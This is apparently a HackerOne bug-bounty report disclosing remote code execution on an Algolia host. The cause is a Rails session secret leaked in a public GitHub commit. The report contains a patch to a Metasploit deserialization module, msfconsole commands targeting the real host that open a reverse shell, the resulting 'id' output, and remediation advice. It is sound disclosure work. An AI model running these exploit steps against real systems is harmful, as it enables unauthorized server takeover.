Algolia: RCE on facebooksearch.algolia.com

2016-04-25T05:47:36
ID H1:134321
Type hackerone
Reporter michiel
Modified 2016-10-01T15:24:10

Description

While doing recon on Algolia, I found that the session secret for facebooksearch.algolia.com has been committed to a public GitHub repository. Since the Rails app running at facebooksearch.algolia.com is using CookieStore as the session storage, this means an attacker knowing the session secret can craft any cookie that will then be accepted by the server.

Cookie values are deserialized (unmarshalled) server-side. That combined with knowing the session secret creates the dangerous opportunity for an RCE. The attacker can sign a cookie that contains a Ruby object that evals arbitrary code when it is deserialized on the server side. The concept is explained in depth here: https://charlie.bz/blog/rails-3.2.10-remote-code-execution.

Where did I find the session secret?

I used Gitrob to scan all of Algolia's public repositories (plus repositories from employees) and extract everything that is interesting. The secret_token.rb initializer immediately caught my attention since it usually contains the secret_key_base, which should never be public.

The token can be found here: https://github.com/algolia/facebook-search/commit/f3adccb5532898f8088f90eb57cf991e2d499b49#diff-afe98573d9aad940bb0f531ea55734f8R12

Proof of Concept

@joernchen developed a ready to go proof of concept for this vulnerability and submitted it to the Metasploit Framework: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/rails_secret_deserialization.rb

Since the version of the exploit doesn't take cookies with - into account, here is a small patch to allow the exploit to work on the _facebook-search_session cookie. Here's the patch for the exploit:

diff if res && !res.get_cookies.empty? - match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) + match = res.get_cookies.match(/([_A-Za-z0-9\-]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) end

With that patch applied, you can run the PoC from msfconsole by following these commands:

```bash

setting up

use exploit/multi/http/rails_secret_deserialization set secret "<grab-from-github-url>" set rhost facebooksearch.algolia.com set railsversion 4 set targeturi /auth/facebook

and then run

exploit

when successful, a reverse shell will be established

this allows you to run arbitrary commands

```

As a proof of concept, I ran id:

id uid=1000(prod) gid=1000(prod) groups=1000(prod)

But since that is very generic, I also created http://facebooksearch.algolia.com/hackerone.txt with the text "PoC by michiel" to proof regular write access is possible as well.

Remediation

Switch config/initializers/secret_token.rb to use an environment variable (e.g. ENV['SECRET_KEY_BASE']). You must also generate a new token because the current secret is compromised. A new secret can be generated by running rake secret from the command line. Make sure the new secret does not leak in git commit history.